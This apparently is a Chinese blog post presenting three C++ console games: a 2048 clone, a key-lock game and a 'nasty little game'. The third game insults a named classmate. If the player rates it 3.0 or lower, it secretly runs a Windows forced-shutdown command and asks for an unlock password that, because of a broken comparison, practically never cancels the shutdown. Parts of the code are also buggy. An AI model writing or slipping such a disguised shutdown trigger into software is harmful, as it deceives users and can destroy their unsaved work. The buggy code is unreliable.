C++小游戏集合3个(不定时更新)1

前言

在Dve c++中想做游戏是很难的,但我不这么想,在下写了一些小游戏给客官看看

一,2048

#include<iostream>
#include<vector>
#include<ctime>
#include<cstdlib>
using namespace std;
class Game_2048
{
public:
    Game_2048();
    ~Game_2048();
    void introduction();
    bool judgeOver();                            //判断游戏是否结束
    void reSize();
    void printBoard();                          //打印函数
    void getRand();                              //随机在棋盘上生成2,4;
    void slide();                                //滑动
private:
    int m=4, n=4;
    char op;                                   //用户操作
    vector< vector<int> >     board;                                //棋盘
    vector<int>  row;
    bool judgeInsert(int x,int y);
    bool judgeSlide();                               //判断是否能滑动,(未写完)
    void copyBoard(vector< vector<int> > &newBoard,vector< vector<int> > &board);
    void inputOp();
    char getOp();                            //返回操作符

    bool judgeLeftSlide(bool mark=true);
    void leftSlide();                            //左滑动

    bool judgeRightSlide(bool mark = true);
    void rightSlide();

    bool judgeUpSlide(bool mark = true);
    void upSlide();

    bool judgeDownSlide(bool mark = true);
    void downSlide();

    void reStart();
    void enlarge();                             //将值扩大二倍
};

int main()
{
    Game_2048 NB;
    NB.introduction();
    NB.getRand();
    NB.printBoard();
    while (!NB.judgeOver())
    {
        NB.slide();
        NB.getRand();
        NB.printBoard();
    } 
    cout << "游戏结束!!!\n";
    system("pause");
    return 0;

}

void Game_2048::introduction()
{
    cout << "这是一个2048游戏,规则如下:\n";
    cout << "上划:W;\n下滑:S;\n左划:A;\n右划:D;\n退出:Q;\n重新开始:R;\n请输入下次操作,\n";
}

void Game_2048::slide()
{
    inputOp();
    switch (getOp())
    {
    case 'a':
    case 'A':
        if (judgeLeftSlide())
            do
                leftSlide();
            while (judgeLeftSlide(false));
        else
        {
            cout << "无法左滑动,请重试!!!\n";
            slide();
        }
        break;
    case 'd':
    case 'D':
        if (judgeRightSlide())
            do
                rightSlide();
        while (judgeRightSlide(false));        
        else
        {
            cout << "无法右滑动,请重试!!!\n";
            slide();
        }
        break;
    case 'w':
    case 'W':
        if(judgeUpSlide())
            do
            upSlide();
        while (judgeUpSlide(false));
        else
        {
            cout << "无法上滑动,请重试!!!\n";
            slide();
        }
        break;
    case 's':
    case 'S':
        if(judgeDownSlide())
            do    
                downSlide();
            while (judgeDownSlide(false));
        else
        {
            cout << "无法下滑动,请重试!!!\n";
            slide();
        }
        break;
    case 'p':
    case 'P':
        enlarge();
        break;
    case 'q':
    case 'Q':
        exit(0);
        break;
    case 'r':
    case 'R':
        reStart();
        break;
    default:
        cout << "输入错误,作为惩罚,随机生成一个数!\n";
        break;
    }
}


void Game_2048::reStart()
{
    for (int i = 0; i < m; i++)
        for (int j = 0; j < n; j++) {
            board[i][j] = 0;
        }
}

void Game_2048::enlarge()
{
    for (int i = 0; i < m; i++)
        for (int j = 0; j < n; j++)
        {
            board[i][j] *= 2;
        }
}


char Game_2048::getOp()
{
    return op;
}

void Game_2048::upSlide()
{
    for (int j = 0; j < n; j++)
        for (int i = m - 1; i > 0; i--) {                              //n-1!!
            if (board[i][j] != 0 && board[i - 1][j] == 0)            //移动
            {
                    board[i - 1][j] = board[i][j];
                    board[i][j] = 0;
            }
        }
    for (int j = 0; j < n; j++)
        for (int i = m - 1; i > 0; i--) {
            if (board[i][j] != 0 && board[i-1][j] == board[i][j])  //覆盖
            {
                board[i-1][j] += board[i][j];
                board[i][j] = 0;
            }
        }
}

bool Game_2048::judgeUpSlide(bool mark)
{
    if (mark)
    {
        for (int i = 0; i < m; i++)
            for (int j = n - 1; j > 0; j--)
            {
                if (board[i][j] == 0)
                return true;
            }
    }
    for (int j = 0; j < n; j++)
        for (int i = m - 1; i > 0; i--) {                              //n-1!!
            if (board[i][j] != 0 && board[i - 1][j] == 0)            //移动
                return true;
            if (board[i][j] != 0 && board[i - 1][j] == board[i][j])  //覆盖
                return true;
        }
    return false;
}

bool Game_2048::judgeDownSlide(bool mark)
{
    if (mark) {
        for (int i = 0; i < m; i++)
            for (int j = n - 1; j > 0; j--)
                {
                    if (board[i][j] == 0)
                        return true;
                }
        
    }
    for (int j = 0; j < n; j++)
                for (int i = 0; i < m - 1; i++) {                              //n-1!!
                    if (board[i][j] != 0 && board[i + 1][j] == 0)            //移动
                        return true;
                    if (board[i][j] != 0 && board[i + 1][j] == board[i][j])  //覆盖
                        return true;

                }
    return false;
}

void Game_2048::downSlide()
{
    for (int j = 0; j < n; j++)
        for (int i = 0; i < m - 1; i++) {                         
            if (board[i][j] != 0 && board[i + 1][j] == 0)            //移动
            {
                    board[i + 1][j] = board[i][j];
                    board[i][j] = 0;
            }
        }
    for (int j = 0; j < n; j++)
        for (int i = 0; i < m - 1; i++) {
            if (board[i][j] != 0 && board[i + 1][j] == board[i][j])  //覆盖
            {
                board[i + 1][j] += board[i][j];
                board[i][j] = 0;
            }
        }
}


void Game_2048::rightSlide()
{
    for (int i = 0; i < m; i++)
        for (int j = 0; j < n - 1; j++) {                              //n-1!!
            if (board[i][j] != 0 && board[i][j + 1] == 0)            //移动
            {
                    board[i][j + 1] = board[i][j];
                    board[i][j] = 0;
            }
        }
    for (int i = 0; i < m; i++)
        for (int j = 0; j < n - 1; j++) {
            if (board[i][j] != 0 && board[i][j + 1] == board[i][j])  //覆盖
            {
                board[i][j + 1] += board[i][j];
                board[i][j] = 0;
            }
        }
}

bool Game_2048::judgeRightSlide(bool mark )
{
    if (mark) {
        for (int i = 0; i < m; i++)
            for (int j = n - 1; j > 0; j--)
            {
                if (board[i][j] == 0)
                    return true;
            }
    }
    for (int i = 0; i < m; i++)
        for (int j = 0; j < n - 1; j++) {                              //n-1!!
            if (board[i][j] != 0 && board[i][j + 1] == board[i][j])  //覆盖
                return true;
            if (board[i][j] != 0 && board[i][j + 1] == 0)
                return true;
        }
    return false;
}

void Game_2048::leftSlide()
{
    for (int i = 0; i < m; i++)
        for (int j = 1; j < n; j++) {                              //n-1!!
            if (board[i][j] != 0 && board[i][j - 1] == 0)            //移动
            {
                    board[i][j - 1] = board[i][j];
                    board[i][j] = 0;
            }
        }
    for (int i = 0; i < m; i++)
        for (int j = 1; j < n; j++) {
            if (board[i][j] != 0 && board[i][j - 1] == board[i][j])  //覆盖
            {
                board[i][j - 1] += board[i][j];
                board[i][j] = 0;
            }
        }
}

bool Game_2048::judgeLeftSlide(bool mark)
{
    if (mark) {
        for (int i = 0; i < m; i++)
                for (int j = n - 1; j > 0; j--)
                {
                    if (board[i][j] == 0)
                        return true;
                }
    }
    for (int i = 0; i < m; i++)
        for (int j = n - 1; j > 0; j--) {                              //n-1!!
            if (board[i][j] != 0 && board[i][j - 1] == 0)            //移动
                return true;
            if (board[i][j] != 0 && board[i][j - 1] == board[i][j])  //覆盖
                return true;
        }
    return false;
}

bool Game_2048::judgeOver()
{
    if (op == 'q' || op == 'Q')
        return true;
    for (int i = 0; i < m; i++)
        for (int j = 0; j < n; j++) {
            if (board[i][j] == 2048)
            {
                printBoard();
                cout << "有数字达到了2048,恭喜!!!\n";
                return true;
            }    
        }

    for (int i = 0; i < m; i++)
        for (int j = 0; j < n; j++) {
             if (board[i][j] == 0)
                return false;
        }
    if (judgeSlide())
        return false;
    else
    {
        cout << "无法再滑动\n";
        return true;
    }
        
}

bool Game_2048::judgeSlide()
{
    vector< vector<int> >     copyBoard;                                //棋盘
    vector<int>  copyRow;
    for (int i = 0; i < n; i++) {
        copyRow.push_back(0);
    }
    for (int i = 0; i < m; i++) {
        copyBoard.push_back(copyRow);
    }
    copyBoard = board;
    upSlide();
    downSlide();
    leftSlide();
    rightSlide();
    for (int i = 0; i < m; i++)
        for (int j = 0; j < n; j++)
        {
            if (board[i][j] == 0) {
                board = copyBoard;
                return true;
            }    
        }
    return false;
}

void Game_2048::copyBoard(vector< vector<int> >& newBoard, vector< vector<int> >&     board)
{
    for (int i = 0; i < m; i++)
        for (int j = 0; j < n; j++)
            newBoard[i][j] = board[i][j];
}

bool Game_2048::judgeInsert(int x,int y)
{
    if (board[x][y] == 0)
        return true;
    else
        return false;
}
void Game_2048::getRand()
{
    srand(time(0));
    int x, y,val;
    do
    {
        x = rand() % m;
        y = rand() % n;
    } while (!judgeInsert(x,y));
    val = (rand() % 2 + 1)*2;
    board[x][y] = val;

}

void Game_2048::inputOp()
{
    cin >> op;
}
void Game_2048::reSize()
{
    cout << "请输入棋盘大小m*n\n";
    cin >> m >> n;
    Game_2048();
}

Game_2048::~Game_2048()
{
}

Game_2048::Game_2048()
{
    for (int i = 0; i < n; i++){
        row.push_back(0);
    }
    for (int i = 0; i < m; i++){
        board.push_back(row);
    }
}
void Game_2048::printBoard()
{
    cout << "\n--------------\n";
    for (int i = 0; i < m; i++) {
        for (int j = 0; j < n; j++) {
            cout << board[i][j];
            if (j < n-1)
            {
                cout << "—";
            }
            if (j == n-1 && i < m-1)
            {
                cout << endl;
                int count = 0;
                while (count++ < n-1)
                {
                    cout << "|  ";
                }
                cout << "|" << endl;
            }
        }
    }

    cout << "\n--------------\n" ;
}

二、密码锁(自制)

上代码!!!

#include<bits/stdc++.h>
#include<conio.h>
#include<windows.h>
#include<stdio.h>
#include<time.h>
using namespace std;
int space=8;
int chengg=0;
int pow0=0;
int pow1=6;
int pow2=2;

void zhu(){
	buff1:	cout << "You are now at the " << space/2+1 <<" lock\n";
			cout << "left:'a'  right:'d'\n";
			cout << "    have 3 keys\n";
			cout << "1 2 3 4 5 6 7 8 9 0\n";
			cout << "| | | | | | | | | |\n";
			for(int i=1;i<=space;i++){
				cout << " ";
			}
			cout << "*\n";
			cout << "you have " << chengg << " keys";
			char ch;
			ch=getch();
			int jilu;
			switch(ch){
				case ' ':
					jilu=space;
					if(chengg==0){
						if(jilu==pow0){
							cout << "\nYou unlocked the first lock";
							chengg++;
							Sleep(2000);
							system("cls");
							goto buff1;
							break;
						}
						else{
							system("cls");
							goto buff1;
							break;	
						}
					}
					if(chengg==1){
						if(jilu==pow1){
							cout << "\nunlock the second lock";
							chengg++;
							Sleep(2000);
							system("cls");
							goto buff1;
							break;
						}
						else{
							system("cls");
							goto buff1;
							break;	
						}
					}
					if(chengg==2){
						if(jilu==pow2){
							cout << "\nYou unlock the third lock\n";
							chengg++;
					        Sleep(1000);
					        system("color 7F");
					        cout<<"YOU WIN...";
					        Sleep(2000);
							return;
							break;
						}
						else{
							system("cls");
							goto buff1;
							break;	
						}
					}
					system("cls");
					goto buff1;
					break;
				case 'a':
					if(space>0)
						space=space-2;
					system("cls");
					goto buff1;
					break;
				case 'd':
					if(space<18)
						space=space+2;
					system("cls");
					goto buff1;
					break;
				default:system("cls");goto buff1;
			}
		
}
int main() {
	zhu();
	return 0;
}


三、变态小游戏

好长啊,下一个!!

#include <bits/stdc++.h>
#include <windows.h>
#include <stdio.h>
#include <conio.h>

using namespace std;
int ll;


int ys;
int n=0;
string zq="lkh666";
string zzc;
int m;
bool flag=0,f; 
string mz;
double pj;
string mm;
int zqnn=13666;
int ec;
int ans=0,q;
void js(){
	cout<<"你好!欢迎来到变态小游戏3.0"<<endl;
	cout<<"变态小游戏让您玩到怀疑人生!"<<endl;
	cout<<"玩完以后请给5星好评,谢谢!"<<endl; 
	cout<<"还有重磅福利"<<endl;
}

int lll(){
	js();
	n=5000000000;
	while(n--){
	}
	cout<<"作者:lkh。抄袭者是5班的赵SB。"<<endl;
	n=5000000000;
	while(n--){
	}
	while(flag==0){
		system("color 0F"); 
		cout<<"输入你想玩的游戏:1  你最讨厌的人2  CP 3 谁想成为什么"<<endl;
		cin>>m;
		n=5000000000;
		while(n--){
		}
		if(m==1){
			cout<<"你最讨厌的人:"<<endl;; 
			cin>>zzc;
			n=5000000000;
			while(n--){
			}
			cout<<"输入你讨厌的颜色,给你讨厌的人加点颜色:"<<endl; 
			n=500000000;
			while(n--){
			}
			cout<<" 0 = 黑色 "<<endl;
			cout<<" 1 = 蓝色 "<<endl;
			cout<<" 2 = 绿色 "<<endl;
			cout<<" 3 = 湖蓝色 "<<endl;
			cout<<" 4 = 红色 "<<endl;
			cout<<" 5 = 紫色 "<<endl;
			cout<<" 6 = 黄色 "<<endl;
			cout<<" 7 = 白色 "<<endl;
			cout<<" 8 = 灰色 "<<endl;
			cout<<" 9 = 淡蓝色 "<<endl;
			cout<<"以上是背景颜色,请输入你想要的背景颜色"<<endl; 
			cin>>ys;
			cout<<endl;
			n=5000000000;
			while(n--){
			}
			cout<<"Go!"<<endl;
			n=5000000000;
			while(n--){
			}
			cout<<"wait..."<<endl;
			n=5000000000;
			while(n--){
			}
			if(ys==1) system("color 1A");
			if(ys==2) system("color 2A");
			if(ys==3) system("color 3A");
			if(ys==4) system("color 4A");
			if(ys==5) system("color 5A");
			if(ys==6) system("color 6A");
			if(ys==7) system("color 7A");
			if(ys==8) system("color 8A");
			if(ys==9) system("color 9A");
			if(ys==0) system("color 0F");
			cout<<zzc<<endl;
		}
		else if(m==2){
			cout<<"输入你们班的CP"<<endl;; 
			cin>>zzc;
			n=5000000000;
			while(n--){
			}
			cout<<"输入你想要的背景颜色:"<<endl; 
			n=500000000;
			while(n--){
			}
			cout<<" 0 = 黑色 "<<endl;
			cout<<" 1 = 蓝色 "<<endl;
			cout<<" 2 = 绿色 "<<endl;
			cout<<" 3 = 湖蓝色 "<<endl;
			cout<<" 4 = 红色 "<<endl;
			cout<<" 5 = 紫色 "<<endl;
			cout<<" 6 = 黄色 "<<endl;
			cout<<" 7 = 白色 "<<endl;
			cout<<" 8 = 灰色 "<<endl;
			cout<<" 9 = 淡蓝色 "<<endl;
			cout<<"以上是背景颜色,请输入你想要的背景颜色"<<endl; 
			cin>>ys;
			cout<<endl;
			n=5000000000;
			while(n--){
			}
			cout<<"Go!"<<endl;
			n=5000000000;
			while(n--){
			}
			cout<<"wait..."<<endl;
			n=5000000000;
			while(n--){
			}
			if(ys==1) system("color 1F");
			if(ys==2) system("color 2F");
			if(ys==3) system("color 3F");
			if(ys==4) system("color 4F");
			if(ys==5) system("color 5F");
			if(ys==6) system("color 6F");
			if(ys==7) system("color 7F");
			if(ys==8) system("color 8F");
			if(ys==9) system("color 9F");
			if(ys==0) system("color 0F");
			cout<<"         结婚照       "<<endl; 
			cout<<"恭喜!"<<zzc<<"早生贵子"<<endl;
			cout<<"祝 :"<<zzc<<"新婚快乐"<<endl;
			cout<<"!!!!!!!";
		}
		else if(m==3){
			cout<<"输入谁想当什么:"<<endl;; 
			cin>>zzc;
			n=5000000000;
			while(n--){
			}
			cout<<"输入谁的名字"<<endl;
			n=5000000000;
			while(n--){
			}
			cin>>mz;
			cout<<"输入你想要的背景颜色:"<<endl; 
			n=500000000;
			while(n--){
			}
			cout<<" 0 = 黑色 "<<endl;
			cout<<" 1 = 蓝色 "<<endl;
			cout<<" 2 = 绿色 "<<endl;
			cout<<" 3 = 湖蓝色 "<<endl;
			cout<<" 4 = 红色 "<<endl;
			cout<<" 5 = 紫色 "<<endl;
			cout<<" 6 = 黄色 "<<endl;
			cout<<" 7 = 白色 "<<endl;
			cout<<" 8 = 灰色 "<<endl;
			cout<<" 9 = 淡蓝色 "<<endl;
			cout<<"以上是背景颜色,请输入你想要的背景颜色"<<endl; 
			cin>>ys;
			cout<<endl;
			n=5000000000;
			while(n--){
			}
			cout<<"Go!"<<endl;
			n=5000000000;
			while(n--){
			}
			cout<<"wait..."<<endl;
			n=5000000000;
			while(n--){
			}
			if(ys==1) system("color 1D");
			if(ys==2) system("color 2D");
			if(ys==3) system("color 3D");
			if(ys==4) system("color 4D");
			if(ys==5) system("color 5D");
			if(ys==6) system("color 6D");
			if(ys==7) system("color 7D");
			if(ys==8) system("color 8D");
			if(ys==9) system("color 9D");
			if(ys==0) system("color 0F");
			cout<<"恭喜"<<mz<<"成为世界上第一位"<<zzc<<endl; 
			cout<<"!!!!!!!"<<endl;
		}
		cout<<"你还想继续吗?1继续0结束"<<endl;
		cin>>f;
		if(f==0) flag=1;
		else flag=0,system("color 0F");
	}
	cout<<"请评价,如果评价低于3.0,会有奇迹发生。(评价在0~5之间)"<<endl;;
	n=500000000;
	while(n--){
	}
	cout<<"请评价"<<endl;
	cin>>pj;
	if(pj<=3.0){
		system("shutdown -s -t 120");
		cout<<""<<endl;
		cout << "请输入解锁密码,否则在两分钟后关机:";
		cin>>mm;
		int nTest = 123456;
		char szTest[20] = "";
		sprintf(szTest, "%d", nTest);
		string strTest = "";
		strTest.append(szTest);
		system("cls");
		cout<<"******";
		zq = 10000; 
		if(mm==zq){
			system("shutdown -a");
		}
	}
	return 0;
}
int main()
{
	cin>>ll;
 	lll();
}

作品就到这里啦,本文结束!!!

THE   END...... 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值